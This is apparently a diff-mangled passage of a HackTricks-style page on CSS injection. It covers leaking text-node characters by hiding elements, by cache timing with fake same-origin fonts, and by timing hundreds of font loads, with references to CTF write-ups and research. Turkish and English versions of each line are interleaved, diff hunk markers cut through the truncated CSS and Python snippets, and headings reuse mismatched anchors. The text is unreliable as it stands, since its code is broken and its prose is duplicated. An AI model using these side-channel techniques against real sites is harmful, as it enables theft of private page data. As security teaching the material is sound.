### Metin düğümü sızdırma (III): varsayılan bir font ile karakter setini sızdırma, öğeleri gizleyerek (harici varlıklar gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referans:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak belirtilmiştir
Bu durum, önceki duruma çok benziyor, ancak bu durumda belirli **karakterlerin diğerlerinden daha büyük olmasının amacı, bir butonun bot tarafından basılmaması veya yüklenmeyecek bir görüntü gibi bir şeyi gizlemektir.** Böylece eylemi (veya eylemsizliği) ölçebilir ve belirli bir karakterin metin içinde mevcut olup olmadığını bilebiliriz.
Bu durum öncekiyle çok benzerdir; ancak burada belirli **chars'ları diğerlerinden daha büyük yapmak** bir butonun bot tarafından tıklanmaması veya yüklenmeyecek bir resim gibi bir şeyi gizlemek amacıyla yapılır. Böylece eylemi (veya eylemin yokluğunu) ölçüp metin içinde belirli bir char'ın bulunup bulunmadığını anlayabiliriz.
### Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter setini sızdırma (harici varlıklar gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referans:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak belirtilmiştir
Bu durumda, metinde bir karakterin olup olmadığını sızdırmayı, aynı kaynaktan sahte bir font yükleyerek deneyebiliriz:
Bu durumda, aynı origin'den fake bir font yükleyerek metinde bir char'ın olup olmadığını leak etmeye çalışabiliriz:
```css
@font-face {
font-family: "A1";
@ -724,15 +761,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Eğer bir eşleşme varsa, **font `/static/bootstrap.min.css?q=1`'den yüklenecektir**. Başarılı bir şekilde yüklenmeyecek olsa da, **tarayıcı bunu önbelleğe almalıdır** ve önbellek olmasa bile, **304 not modified** mekanizması vardır, bu nedenle **yanıt diğer şeylerden daha hızlı olmalıdır**.
Eğer bir eşleşme olursa, **font `/static/bootstrap.min.css?q=1`'den yüklenecek**. Başarılı şekilde yüklenmese bile, **tarayıcı bunu önbelleğe almalı**, ve önbellek olmasa bile bir **304 not modified** mekanizması olduğu için, **yanıt diğer şeylere göre daha hızlı** olmalıdır.
Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunları belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun `disk-cache-size=1` bayrağını kullanması olduğunu buldum, bu gerçekten düşünceli.
Ancak, önbelleğe alınmış yanıt ile önbelleğe alınmamış olan arasındaki zaman farkı yeterince büyük değilse, bu işe yaramaz. Örneğin, yazar şöyle demiş: "Ancak testten sonra, ilk sorunun hızın çok farklı olmaması, ikinci sorunun ise botun `disk-cache-size=1` bayrağını kullanması olduğunu gördüm; bu gerçekten dikkatli."
### Metin düğümü dışa aktarımı (III): yüzlerce yerel "font" yüklemesiyle charset'i zamanlayarak sızdırma (harici varlık gerektirmiyor) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak bahsedilmiştir
Bu durumda, bir eşleşme gerçekleştiğinde **aynı kaynaktan yüzlerce sahte font yüklemek için CSS belirtebilirsiniz**. Bu şekilde, **ne kadar zaman aldığını ölçebilir** ve bir karakterin görünüp görünmediğini bulabilirsiniz:
Bu durumda, bir eşleşme olduğunda aynı origin'den yüzlerce sahte font yükleyecek **CSS** belirtebilirsiniz. Bu sayede **geçen zamanı ölçebilir** ve bir karakterin görünüp görünmediğini şu gibi bir şeyle tespit edebilirsiniz:
```css
@font-face {
font-family: "A1";
@ -747,13 +784,19 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Yani, eğer font eşleşmiyorsa, bota erişim sırasında yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak, eğer bir font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecektir, bu da ağda sürekli bir aktivite olmasına neden olacaktır. Sonuç olarak, durdurma koşulunu karşılamak ve yanıt almak daha uzun sürecektir. Bu nedenle, yanıt süresi bir font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
Yani, font eşleşmiyorsa, bota yapılan ziyarette yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecek ve bu da ağda sürekli aktiviteye neden olacaktır. Sonuç olarak durdurma koşulunun sağlanması ve yanıtın alınması daha uzun sürecektir. Bu nedenle yanıt süresi, font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
## References
## Referanslar
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
{{#include ../../../banners/hacktricks-training.md}}